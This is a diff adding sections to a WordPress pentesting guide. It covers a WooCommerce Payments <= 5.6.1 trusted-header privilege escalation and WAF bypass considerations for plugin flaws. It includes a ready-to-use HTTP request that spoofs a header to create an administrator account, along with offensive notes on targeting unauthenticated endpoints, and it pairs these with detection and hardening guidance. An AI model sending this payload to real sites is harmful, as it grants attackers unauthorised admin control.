Add content from: Hosting security tested: 87.8% of vulnerability exploits byp...

src/network-services-pentesting/pentesting-web/wordpress.md

@@ -409,6 +409,53 @@ The `permission_callback` is a callback to function that checks if a given user
 
 Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
 
+### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
+
+Some plugins implement “trusted header” shortcuts for internal integrations or reverse proxies and then use that header to set the current user context for REST requests. If the header is not cryptographically bound to the request by an upstream component, an attacker can spoof it and hit privileged REST routes as an administrator.
+
+- Impact: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
+- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
+- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
+
+PoC
+
+```http
+POST /wp-json/wp/v2/users HTTP/1.1
+Host: <WP HOST>
+User-Agent: Mozilla/5.0
+Accept: application/json
+Content-Type: application/json
+X-Wcpay-Platform-Checkout-User: 1
+Content-Length: 114
+
+{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
+```
+
+Why it works
+
+- The plugin maps a client-controlled header to authentication state and skips capability checks.
+- WordPress core expects `create_users` capability for this route; the plugin hack bypasses it by directly setting the current user context from the header.
+
+Expected success indicators
+
+- HTTP 201 with a JSON body describing the created user.
+- A new admin user visible in `wp-admin/users.php`.
+
+Detection checklist
+
+- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
+- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
+- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
+
+Hardening
+
+- Never derive authentication or authorization from client-controlled headers.
+- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
+- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
+- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
+
+References: see the links at the end of this page for a public case and broader analysis.
+
 ### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
 
 WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks.  When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
@@ -561,6 +608,21 @@ add_action( 'profile_update', function( $user_id ) {
 
 ---
 
+### WAF considerations for WordPress/plugin CVEs
+
+Generic edge/server WAFs are tuned for broad patterns (SQLi, XSS, LFI). Many high‑impact WordPress/plugin flaws are application-specific logic/auth bugs that look like benign traffic unless the engine understands WordPress routes and plugin semantics.
+
+Offensive notes
+
+- Target plugin-specific endpoints with clean payloads: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
+- Exercise unauth paths first (AJAX `nopriv`, REST with permissive `permission_callback`, public shortcodes). Default payloads often succeed without obfuscation.
+- Typical high-impact cases: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
+
+Defensive notes
+
+- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
+- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
+
 ## WordPress Protection
 
 ### Regular Updates
@@ -657,5 +719,8 @@ The server responds with the contents of `wp-config.php`, leaking DB credentials
 - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
 - [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
 - [ASE 7.6.3 changeset – delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
+- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
+- [WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
+- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
 
 {{#include ../../banners/hacktricks-training.md}}